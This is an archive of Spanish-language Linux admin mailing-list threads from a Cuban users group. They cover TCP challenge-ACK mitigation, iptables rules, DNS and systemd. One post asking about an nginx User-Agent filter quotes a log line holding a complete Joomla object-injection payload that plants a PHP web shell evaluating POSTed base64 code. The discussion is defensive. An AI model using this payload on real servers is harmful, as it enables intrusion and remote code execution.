Re: [Gutl-l] contramedida para el bug del stack tcp
On Mon, 15 Aug 2016 09:26:48 -0400, låzaro wrote: Thread name: "Re: [Gutl-l] contramedida para el bug del stack tcp" Mail number: 2 Date: Thu, Aug 11, 2016 In reply to: Hugo Florentino On Thu, 11 Aug 2016 19:01:19 -0400, Lázaro Armando wrote: > echo "net.ipv4.tcp_challenge_ack_limit=1073741823" >> /etc/sysctl.conf > sysctl --system > Hmm... ese valor me huele a copia-pega a lo "gatillo alegre". Puede que el valor por defecto de 100 paquetes por segundo pudiera resultar limitado para algunas redes, pero acaso en nuestro país existirá realmente un enlace capaz de enviar más de mil millones de paquetes por segundo? En cualquier caso, si vamos a volvernos locos, por qué no usar el valor máximo positivo para un int32, que es el doble de eso? ;) cuenta los paquetes broadcasting, mejor que sosobre y no que sofalte Negativo, dudo mucho que un ACK se vaya a enviar a una dirección de broadcast, no tiene sentido alguno. Elaborando un poco más: El problema en usar un valor tcp_challenge_ack_limit alto es que nuestro servidor podía saturar el enlace de salida con paquetes de tipo ACK challenge, causando una denegación de servicios, ya que el upload suele estar más limitado que el download. Para ilustrarlo mejor: supongamos que somos suficientemente afortunados de tener un enlace de 2048 kbps para el download y 512 kbps para el upload, que según tengo entendido es el máximo que Etecsa permite por estos días a entidades no priorizadas por el gobierno. Concentrémonos en el upload: 512'000 dividido entre 8 (bits que tiene un byte) = 64'000 bytes por segundo de transferencia máxima teórica para el upload. Ahora bien, el protocolo TCP necesita para cada paquete como mínimo: 20 bytes para el encabezado tcp 20 bytes para el encabezado ipv4 24 bytes para el frame ethernet: * mac destino (6 bytes) * mac_origen (6 bytes) * longitud (2 bytes) * FCS (4 bytes) * padding para que el payload tenga el tamaño mínimo permisible de 46 bytes (6 bytes) Total: 64 bytes. De modo que en teoría, un enlace de 512 kbps de upload permitiría un máximo de 1000 paquetes por segundo. Pero, por algún motivo desconocido (al menos para mi) Etecsa suele entregar en la práctica una capacidad de conectividad un 10% inferior a la contratada, así que: 64'000 * 90% = 57'600, de modo que realmente un enlace de 512 kbps no debería ser capaz de entregar regularmente más de 900 paquetes TCP por segundo. Si bien el valor tcp_challenge_ack_limit se ha implementado en el kernel de manera global, no todos los paquetes que saldrán del equipo serán de tipo ACK challenge, por lo que personalmente, dudo que sea necesario exceder un valor de 10'000, especialmente si se combina con reglas de limitación de paquetes en netfilter como sugerí en otro mensaje. Ahora bien, si desconfiamos no solo de la interfaz externa sino también de la interna, es solo cuestión de hacer un cálculo similar para la interfaz interna (y cualquier otra que se necesite considerar), y sumar los resultados. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Duda con expresion en Nginx
Hola colegas,
Aunque uso nginx-naxsi que permite cierto nivel de protección,
recientemente he visto en las trazas algunos intentos de explotar
posibles vulnerabilidades en el servidor web modificando el user-agent
para intentar la creación de un archivo php (que en este caso no se
creó) y su posterior uso [1].
He estado intentando usar en la configuración de Nginx una expresión
regular que me permita impedir el acceso a un user-agent que incluya
secuencias de escape y otros caracteres especiales usados en la
codificación de URLs, pero por algún motivo no parece estar funcionando
del todo bien con secuencias como \x22.
El bloque relevante es este, lo tengo puesto en la sección server:
if ($http_user_agent ~* "(\{|\?|=|&|\\x|\})") {
return 400;
}
Lo estoy probando con el siguiente comando:
wget -q --header='User-Agent: Solo una prueba de "secuencia" de
\x22escape\x22.' http://elsitio.tld
Veo en las trazas que en lugar de Nginx devolver un código 400 como uno
esperaría, está devolviendo un 200, es decir, está entregando la página
principal del sitio cuando no debería hacerlo.
¿Alguna idea de que puede estar ocurriendo?
Saludos, Hugo
[1] -
121.205.243.117 - - [13/Aug/2016:02:09:50 -0400] "GET / HTTP/1.1" 200
239 "-"
"}__test|O:21:\x22JDatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;O:17:\x22JSimplepieFactory\x22:0:{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;O:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:236:\x22file_put_contents($_SERVER[\x22DOCUMENT_ROOT\x22].chr(47).\x22myshe.php\x22,\x22|=|\x5Cx3C\x22.chr(63).\x22php
\x5Cx24mujj=\x5Cx24_POST['hh'];if(\x5Cx24mujj!=''){\x5Cx24xsser=base64_decode(\x5Cx24_POST['z0']);@eval(\x5C\x22\x5C\x5C\x5Cx24safedg=\x5Cx24xsser;\x5C\x22);}\x22);JFactory::getConfig();exit;\x22;s:19:\x22cache_name_function\x22;s:6:\x22assert\x22;s:5:\x22cache\x22;b:1;s:11:\x22cache_class\x22;O:20:\x22JDatabaseDriverMysql\x22:0:{}}i:1;s:4:\x22init\x22;}}s:13:\x22\x5C0\x5C0\x5C0connection\x22;b:1;}~\xD9"
121.205.243.117 - - [13/Aug/2016:02:09:51 -0400] "GET //myshe.php
HTTP/1.1" 444 0 "http://www.googlebot.com/bot.html; "Mozilla/5.0
(compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
__
Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba.
Gutl-l@jovenclub.cu
https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] contramedida para el bug del stack tcp
Hola colegas, Después de leer el documento "Off-Path TCP Exploits: Global Rate Limit Considered Dangerous", veo que los paquetes RST son un componente esencial para este tipo de ataques, de modo que quizás sea posible mitigarlo apoyándose en netfilter. Tengo que estudiar mejor la secuencia de paquetes necesarias para ese ataque, pero me parece que algo como esto podría funcionar incluso sin modificar el valor de tcp_challenge_ack_limit: iptables -t raw -N ANTIRST iptables -t raw -A ANTIRST -m recent --name malware --set -j RETURN iptables -t raw -A PREROUTING -p tcp -m tcp --tcp-flags RST RST -m recent --name malware --update --hitcount 10 --seconds 30 --rttl -j DROP iptables -t raw -A PREROUTING ! -i lo -p tcp -m tcp --tcp-flags RST RST -m hashlimit --hashlimit-mode srcip,dstip,srcport,dstport --hashlimit-above 5/second -j ANTIRST La idea es que no se permitan mas de 5 intentos de tcp-reset por segundo para un mismo origen/destino (excluyendo la interfaz local) y que en caso de ocurrir esto por 10 veces en menos de medio minuto, se prohiba tal comportamiento a la ip origen durante medio minuto, que debería ser tiempo suficiente para pasar a otro window y que de esta manera el número de secuencia sea inválido para el ataque. Me parecen valores razonablemente conservadores, ya que en la vida real es muy poco probable que un equipo mande a restablecer una misma conexion tantas veces, pero en cualquier caso el efecto no tendría una duración excesiva. Diganme que les parece __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Varias dudas con cortafuegos
On Thu, 11 Aug 2016 17:45:14 -0400, Arian Molina Aguilera wrote: etecsa muchas veces ni records soa ni dns ponen a zonas que le han sido delegadas, más bien agregan par de records, quizás un A, y MX, en el mejor de los casos un PTR en la inversa. Por eso no me gusta que ellos administren mis zonas de dns. Candela! De cualquier manera no creo que jamás haya existido una delegación para esa subred, de modo que esos paquetes con destino al puerto udp 53 serán descartados sin piedad. ;) __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] contramedida para el bug del stack tcp
On Thu, 11 Aug 2016 19:01:19 -0400, Lázaro Armando wrote: echo "net.ipv4.tcp_challenge_ack_limit=1073741823" >> /etc/sysctl.conf sysctl --system Hmm... ese valor me huele a copia-pega a lo "gatillo alegre". Puede que el valor por defecto de 100 paquetes por segundo pudiera resultar limitado para algunas redes, pero acaso en nuestro país existirá realmente un enlace capaz de enviar más de mil millones de paquetes por segundo? En cualquier caso, si vamos a volvernos locos, por qué no usar el valor máximo positivo para un int32, que es el doble de eso? ;) __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Varias dudas con cortafuegos
On Thu, 11 Aug 2016 11:24:35 -0400, Ulises Gonzalez wrote: On 08/11/2016 10:23 AM, Hugo Florentino wrote: En realidad si que puede haber casos válidos de servicios corriendo en la 127.0.0.1, por ejemplo en este caso dnsmasq escucha en todas las interfaces menos la externa. Lo que me llama la atencion es que el paquete se origina con la MAC 00:00:00:00:00:00 cuando la mayoria de los paquetes que se originan en el propio servidor no usan MAC alguna, o al menos asi aparece en las trazas. Pueden haber X servicios escuchando por 127.0.0.1, pero eso solo es accesible para la maquina local, nade por la red puede hacer telnet/ping 127.x.x.x esperando comunicarse con la "maquina vecina" pues en el mejor de los casos solo te va a responder tu propia maquina incluso puedes usar localmente tu servicio que escucha por 127.0.0.1 sin tener ninguna conexion a ninguna red, Si, eso es obvio. El paquete realmente circulaba estrictamente dentro de la propia máquina, mi duda como ya dije es con la MAC. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Varias dudas con cortafuegos
On Thu, 11 Aug 2016 11:27:59 -0400, Ulises Gonzalez wrote: On 08/11/2016 10:23 AM, Hugo Florentino wrote: La subred no ha recibido una delegación de zona por parte de Etecsa, por lo que las entradas del DNS público están exclusivamente en los nameservers de Etecsa. Sin embargo, cada cierto tiempo hay paquetes udp provenientes de los nameservers de Etecsa con destino al puerto 53, en otras palabras parece que los nameservers de Etecsa estuviesen intentando hacer consultas a una red que no tiene hecha una delegación de zona, a lo cual personalmente no le veo sentido alguno, pero como en nuestro país somos atípicos, decidí preguntar aquí. No te parece que puedan ser preguntas hechas por humanos intentando saber si hay algun dns activo para hacer una delegaci'on efectiva (en caso que se haya solicidado ese servicio) ?? Pues si el dns no esta publicado (nadie le ha delegado nada) entonces tienes un servidor (ahora no recuerdo el nombre que tiene eso) pero que basicamente lo que dice es que no forma parte el arbol dns mundial, por lo cual tienes toda la razon al decir que nadie deberia consultarlo a menos que sepas que exista Que yo sepa, no hay solicitada delegación alguna. Además, si hago por ejemplo esta consulta: dig +multiline @ns1.etecsa.net. -t soa eldominio.co.cu. No obtengo una ANSWER SECTION y en cambio observa: ;; AUTHORITY SECTION: co.cu. 2000 IN SOA ns1.etecsa.net. admin.enet.cu. ( 2016081000 ; serial 7200 ; refresh (2 hours) 1800 ; retry (30 minutes) 1209600; expire (2 weeks) 2000 ; minimum (33 minutes 20 seconds) ) Similarmente, si hago esta consulta el resultado es exactamente el mismo: dig +multiline @ns1.etecsa.net. -t ns eldominio.co.cu. O sea que por ninguna parte veo justificadas esas consultas provenientes de los nameservers de Etecsa. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] postfix, dovecot
On Thu, 11 Aug 2016 08:00:11 -0400, Juset Castañeda A wrote: [...] Bueno hace ya un tiempo hice uno para mi paso a paso de lo que iba haciendo descárgalo desde aquí http://www.cmg.provari.cu/descarga/Postfix+Dovecot+MySQL_OK.pdf ERROR 403: Forbidden. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Varias dudas con cortafuegos
On Thu, 11 Aug 2016 08:04:52 -0400, Ulises González Horta wrote: El jue, 11-08-2016 a las 03:32 -0400, Hugo Florentino escribió: 1- ¿Hasta que punto es válido que un nameserver de Etecsa realice consultas DNS a una subred a la cual aun no han realizado una delegación de zona? Hugo, esta pregunta no la entiendo el todo, es el Dns de Etecsa quien responde abiertamente consultas sobre una zona de la cual el no tiene el SOA (pudiera ser válido) o es el Dns de Etecsa quien hace consultas a otros servidores sobre una red de la cual el no tiene el SOA o es el DNS de Etecsa quien pregunta cosas de una red que no se le ha delegado a nadie en el árbol dns?? La subred no ha recibido una delegación de zona por parte de Etecsa, por lo que las entradas del DNS público están exclusivamente en los nameservers de Etecsa. Sin embargo, cada cierto tiempo hay paquetes udp provenientes de los nameservers de Etecsa con destino al puerto 53, en otras palabras parece que los nameservers de Etecsa estuviesen intentando hacer consultas a una red que no tiene hecha una delegación de zona, a lo cual personalmente no le veo sentido alguno, pero como en nuestro país somos atípicos, decidí preguntar aquí. 2- ¿Hasta que punto es válido que el servidor responda desde la intefaz local y utilizando la MAC 00:00:00:00:00:00 a paquetes de consultas DNS locales? (se emplea dnsmasq para uso interno) En ninguna red de ningún tipo debe haber un paquete cuya dirección de origen o destino sea 127.0.0.1 ahora no recuerdo que rfc definia eso pero un buen punto de partida es la rfc 3330 si mal no recuerdo igual recomiendo esta rfc para muchas personas en el mundo pues me hierve la sangre que da vez que veo una lan con una ip como 50.x.x.x. La 127.x.x.x/8 esta limitada a usos de loopback, esta limitado su uso a esa interfaz, además forma parte de las direcciones privadas no routeables en redes públicas así que si no debe estar en una red privada menos en una red wan pública En realidad si que puede haber casos válidos de servicios corriendo en la 127.0.0.1, por ejemplo en este caso dnsmasq escucha en todas las interfaces menos la externa. Lo que me llama la atencion es que el paquete se origina con la MAC 00:00:00:00:00:00 cuando la mayoria de los paquetes que se originan en el propio servidor no usan MAC alguna, o al menos asi aparece en las trazas. 3- (Este punto queda aclarado entonces, gracias) 4- ¿Hasta qué punto es válido que un equipo envíe paquetes con estado RELATED pero por protocolo TCP y desde puertos que ningún servicio está utilizando y que además no se han permitido explícitamente como destino en las cadenas INPUT ni FORWARD (teniendo el cortafuegos políticas de denegación por defecto en ambas)? Eso es posible particularmente si tienes un FTP en modo pasivo, si vez la traza de un ftp en este modo (no tengo ninguna a mano ahora) veras algo como esto, supongamos que la ip de destino es 1.1.1.1, verías algo así [...] Pero es que sencillamente no es el caso, no hay ningún servicio FTP local, ni tampoco parecio iniciarse durante ese tiempo ningún tipo de conexión desde la red local a un puerto 21 remoto. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Varias dudas con cortafuegos
Hola colegas, En estos días me he "entretenido" revisando las trazas y modificando la configuración de un servidor todo-en-uno, y me han surgido unas dudas, perdonen si las pongo todas en un mismo mensaje. 1- ¿Hasta que punto es válido que un nameserver de Etecsa realice consultas DNS a una subred a la cual aun no han realizado una delegación de zona? 2- ¿Hasta que punto es válido que el servidor responda desde la intefaz local y utilizando la MAC 00:00:00:00:00:00 a paquetes de consultas DNS locales? (se emplea dnsmasq para uso interno) 3- Si el servidor está inmediatamente detrás de un router, y hace regularmente consultas a un nameserver público de Google como fallback a los nameservers de Etecsa, ¿cuán válido puede ser que este nameserver de Google envíe de vez en cuando desde el puerto 53 nuevos paquetes udp al rango de puertos 4-44644? ¿No se supone que quien debería establecer el tamaño máximo de no fragmentación es el router, que es el primer elemento físico de la red con la cual el nameserver intenta comunicarse? 4- ¿Hasta qué punto es válido que un equipo envíe paquetes con estado RELATED pero por protocolo TCP y desde puertos que ningún servicio está utilizando y que además no se han permitido explícitamente como destino en las cadenas INPUT ni FORWARD (teniendo el cortafuegos políticas de denegación por defecto en ambas)? Por ejemplo: Interfaz de origen: (N/A) Interfaz de destino: eth1 (WAN) IP de origen: IP externa asignada por Etecsa IP de destino: varias (45.33.120.128, 45.56.74.212, 71.6.135.131, 93.115.85.145, 93.174.95.106, 94.102.49.174, 95.85.21.223, 139.162.34.142, 209.58.129.109, etc.) Protocolo: TCP Puertos de origen: varios (175, 2252, 3000, , 3391, 5009, 8090, 8443, etc.) Puerto de destino: varios (generalmente superiores al 25000) Estado: RELATED 5- ¿Acaso existe un tamaño máximo permitido sin fragmentación (en bytes) para una operación de traceroute? En tal caso, ¿alguien conoce el valor? Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Sobre entrevista (OT)
On Thu, 04 Aug 2016 10:10:41 -0400, Maikel Enrique Pernía Matos wrote: ¿Pueden conseguir la entrevista y colgarla en GUTL, para acceder a ella quienes no la hemos visto? No creo porque se transmitio en vivo, me parece que un amigo la grabo pero no con cajita sino desde antena, asi que la calidad debe ser bien pobre porque el vive por Wajay y la señal alli es mala. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Sobre entrevista (OT)
Hola colegas, Para los que me vieron en la entrevista que me hicieron en el Canal educativo esta tarde (revista "Tengo algo que decirte"), pido disculpas si cometi cualquier pifia o deje de mencionar algo importante, sucede que me enteré en el lugar de que la entrevista era en vivo, y estaba un poco nervioso porque el tiempo estaba bastante justo y estos temas son bastante desconocidos por la población. Seguramente Pablo hubiese dado detalles más precisos sobre los proyectos nacionales, pero intenté hacer un esfuerzo decoroso, como diría mi profe de filosofía (también puede haber influido que algunos proyectos tienen nombres casi tan complejos de memorizar como las propias siglas de nuestro grupo, jejeje). A propósito, sería bueno que los miembros del grupo que hayan desarrollado algún software libre que aun no forme parte de nuestro RepoGUTL, se pongan en contacto con nostros para agregarlo (que naturalmente no quiere decir que se le quitará su debido mérito). Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] arptables, ebtables, iptables, nftables
Me explico un poco mejor: Sucede que me gustaría imponer un límite máximo de peticiones por minuto al puerto udp 67, pero obviamente evaluando por dirección mac, ya que si utilizo la coincidencia limit con la ip de origen 0.0.0.0 tendria un efecto global y habra maquinas que tardarán más de la cuenta en conectarse, y lo que me interesa es limitar peticiones al dhcp desde una misma mac. Lo ideal sería algo como hashlimit pero lamentablemente solo funciona con direcciones ip. Se supone que en general una misma mac no debería enviar más de 4 paquetes sucesivos de peticiones y luego simplemente renovaría el lease en el rango de tiempo especificado, pero hay equipos mal configurados, con virus o francamente intentando atacar el dhcp para colarse en la red, y quiero reducir este riesgo en lo posible. Hasta ahora no se como lograrlo con arptables, ebtables o iptables, pero me parece que podría conseguirlo con nftables. el problema es que hay cosas que aun no pueden hacerse con nftables, como por ejemplo definir un limite de conexiones con estado ESTABLISHED desde una misma ip (o sea, lo que en iptables se logra con la coincidencia connlimit) para un servicio en particular. De ahi que este valorando combinar varios filtros, pero me disgustaría duplicar funcionalidad, y por otra parte no se hasta que punto un paquete que ya se ha aceptado en un filtro llegará a evaluarse en otro filtro. Actualmente estoy combinando arptables e iptables, y el primero parece evaluarse antes del segundo sin problemas (parece que lo mismo debería ocurrir con ebtables), pero si incorporo nftables a la mezcla no tengo ni idea de en que lugar ira. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] arptables, ebtables, iptables, nftables
Hola colegas, He estado buscando el orden de evaluación de los filtros que menciono en el asunto (arptables, ebtables, iptables, nftables), pero hasta ahora solo he podido encontrar información vaga. Si alguien conoce el orden preciso en que se evaluan estos filtros (preferiblemente tomando en consideración tablas y cadenas, etc), por favor compártalo. Saludos, Hugo __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Sobre netfilter y los TTL
On Wed, 27 Jul 2016 16:15:32 -0400, Ulises Gonzalez wrote: On 07/27/2016 03:44 PM, Hugo Florentino wrote: OK, dado que hay algún interés, he aquí la página. Aún está verde, pero para empezar sirve. https://gutl.jovenclub.cu/wiki/doku.php?id=tutoriales:parametros_kernel_sysctl Espero poder mandarte mis primeros aportes en la noche, tambien creo que seria bueno, si alguien quiere saber algo de algun parametro, que nos los haga saber para hacer la correspondiente investigacion.. Personalmente tengo mis dudas en como funciona el handshake en el caso del protocolo SPDY o en el caso de los sitios web que hacen push. También tengo por alguna parte apuntados unos parámetros del kernel sobre los cuales no pude encontrar información clara, luego los busco. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Sobre netfilter y los TTL
On Wed, 27 Jul 2016 14:09:43 -0500, Wilfredo Martínez Consuegra wrote: +1 OK, dado que hay algún interés, he aquí la página. Aún está verde, pero para empezar sirve. https://gutl.jovenclub.cu/wiki/doku.php?id=tutoriales:parametros_kernel_sysctl -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] Sobre netfilter y los TTL
Mely, Moya, Whilo, Ulises y otros colegas experimentados: Dado que no he logrado conseguir lo que buscaba (encontrar el TTL es fácil, pero no así modificarlo) propongo preparar una página en la Wiki con algunos de los parámetros del kernel útiles para optimizar un sistema. Sucede que hay mucha información al respecto, pero muy poca está investigada a fondo y fácilmente pueden encontrarse en una misma recomendación conjuntos de parámetros cuyos valores se contradicen o sencillamente no explican para qué sirven. Personalmente he estado buscando recomendaciones de optimización, leyendo detenidamente ip_sysctl.txt y otra documentación, e incluso buscando en los headers del código fuente del kernel, y hay parámetros cuyo propósito sencillamente no encuentro. De modo que si les parece bien, crearé una página que sirva más bien como base o plantilla para irla expandiendo con el aporte de todos. Así quedará disponible una referencia útil de acceso tanto internacional como nacional (para nuestros colegas menos favorecidos). ¿Se animan a sumarse? Saludos, Hugo -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
[Gutl-l] Sobre netfilter y los TTL
Hola colegas, Desde hace un tiempo tengo picazón con algunos paquetes TCP con un TTL alto. Uno puede establecer con sysctl un TTL más bajo, pero los clientes a veces ignoran esta preferencia. Netfilter tiene el destino TTL con la opción --ttl-set que pareciera que serviría, pero lamentablemente tiene poco o nada que ver con el tiempo de vida del paquete en segundos, pues en su lugar establece los saltos máximos permitidos a través de enrutadores. Concretamente, me gustaría lograr que los paquetes entrantes por protocolo TCP con destino al puerto 80 y estado de conexión nuevo (NEW) cambien su TTL a 20 segundos, pero solo esos. Al resto de los paquetes no me interesa modificarles el TTL. ¿Alguien sabe cómo lograrlo, sea con iptables o alguna otra cosa? Debería haber una forma, pero aun no la he encontrado. Saludos, Hugo -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] systemd y script con nohup
On Wed, 20 Jul 2016 12:43:32 -0400, låzaro wrote: te lo advertí, no hagas más resistencia al cambio No gracias, untarse vaselina e incliinarse no es un método aceptable para mí. :) -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] systemd y script con nohup
On Wed, 20 Jul 2016 10:03:45 -0400, Servilio Afre Puentes wrote: On Tue, Jul 19 2016, Hugo Florentino wrote: On Tue, 19 Jul 2016 11:39:28 -0400, Servilio Afre Puentes wrote: On Tue, Jul 19 2016, Hugo Florentino wrote: Yo para escritorio uso Manjaro con OpenRC y tampoco tengo problemas. El problema es que systemd cada vez se arraiga más en el kernel y va creando dependencias cada vez más difíciles de reemplazar ¿En el núcleo? ¿Cómo cuales? pues segun he leido en diversos sitios, cuando actualmente uno intenta reemplazar systemd por otras alternativas no siempre todo funciona al 100% porque hay paquetes que actualmente tienen dependencias de systemd. Sí, esto es cierto. Hasta ahora esto lo he visto en KDE y GNOME[1], q han comenzado a usar la interfaz de logind, según parece por buenas razones, como tener un manejo de sesiones q funcione igual para todos los ambientes de escritorio. con cada nueva versión del kernel que sale, la cosa aparentemente se va haciendo más difícil para prescindir de systemd De nuevo, núcleo ≠ aplicaciones, no hay nada en el núcleo q dependa de systemd. Me refiero a que systemd se ha integrado al kernel y a medida que va pasando el tiempo Linux va perdiendo parte de su modularidad. Hasta hace poco uno decía: no te gusta este shell, usa este otro o cambia este entorno de escritorio por este otro o este sistema de inicializacion por este otro Pero con las actuales dependencias de systemd, si este falla o simplemente no te gusta, con qué lo reemplazas? Por otra parte, la actitud del programador principal (my way or the highway) personalmente me disgusta. Solo por eso prefiero usar otra cosa, porque con esos tipos uno nunca sabe que esperar. Por una cuestión de practicidad no me queda mas remedio que aprender a convivir con systemd, cuando fuese necesario, pero aunque inicialmente me gustó la idea del proyecto, actualmente le tengo una profunda aversión. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] sobre clientes Ltel & gnu+linux
On Tue, 19 Jul 2016 09:52:33 +0200, Raphael Burquet wrote: hola people se instalo debian 7 y 8 en el host y cuando levantan los clientes quedan desabilitados los puertos usb de los mismos.. alguien ha tropezado con esto...!!! Intenta agregando los usuarios al grupo plugdev: sudo usermod -aG plugdev elusuario -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] systemd y script con nohup
On Tue, 19 Jul 2016 11:39:28 -0400, Servilio Afre Puentes wrote: On Tue, Jul 19 2016, Hugo Florentino wrote: Yo para escritorio uso Manjaro con OpenRC y tampoco tengo problemas. El problema es que systemd cada vez se arraiga más en el kernel y va creando dependencias cada vez más difíciles de reemplazar ¿En el núcleo? ¿Cómo cuales? pues segun he leido en diversos sitios, cuando actualmente uno intenta reemplazar systemd por otras alternativas no siempre todo funciona al 100% porque hay paquetes que actualmente tienen dependencias de systemd. con cada nueva versión del kernel que sale, la cosa aparentemente se va haciendo más difícil para prescindir de systemd , de modo que si las cosas siguen como van, no se hasta que punto pueda una distribución seguir usando linux sin systemd. Ultimamente hay quienes sugieren nada menos que para solucionar los problemas de compatibilidad systemd debe pasar al estándar POSIX! No creo q suceda, desde el anuncio original[1] quedó claro: "It should be noted that systemd uses many Linux-specific features, and does not limit itself to POSIX. That unlocks a lot of functionality a system that is designed for portability to other operating systems cannot provide." No dije que systemd se fuese a circunscribir a POSIX, sino que habia quienes estaba pidiendo que integraran a POSIX todos los estándares que aporta systemd, que igual es poco probable pero que haya personas pidiéndolo me parece preocupante. -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] systemd y script con nohup
On Mon, 18 Jul 2016 21:12:40 -0500, Yoander Valdés Rodríguez wrote: On 18/07/16 20:27, Hugo Florentino wrote: Hay quienes dicen que dentro de poco tendrán que integrarlo en libc. A veces me pregunto si tendré que mudarme a BSD. También puedes echarle un vistazo a Alpine (http://www.alpinelinux.org/) yo lo estoy usando junto con docker para correr mysql, php y nginx hasta ahora todo ok. Yo para escritorio uso Manjaro con OpenRC y tampoco tengo problemas. El problema es que systemd cada vez se arraiga más en el kernel y va creando dependencias cada vez más difíciles de reemplazar, de modo que si las cosas siguen como van, no se hasta que punto pueda una distribución seguir usando linux sin systemd. Ultimamente hay quienes sugieren nada menos que para solucionar los problemas de compatibilidad systemd debe pasar al estándar POSIX! -- Este mensaje ha sido analizado por MailScanner en busca de virus y otros contenidos peligrosos, y se considera que est� limpio. __ Lista de correos del Grupo de Usuarios de Tecnologías Libres de Cuba. Gutl-l@jovenclub.cu https://listas.jovenclub.cu/cgi-bin/mailman/listinfo/gutl-l
Re: [Gutl-l] systemd y script con nohup
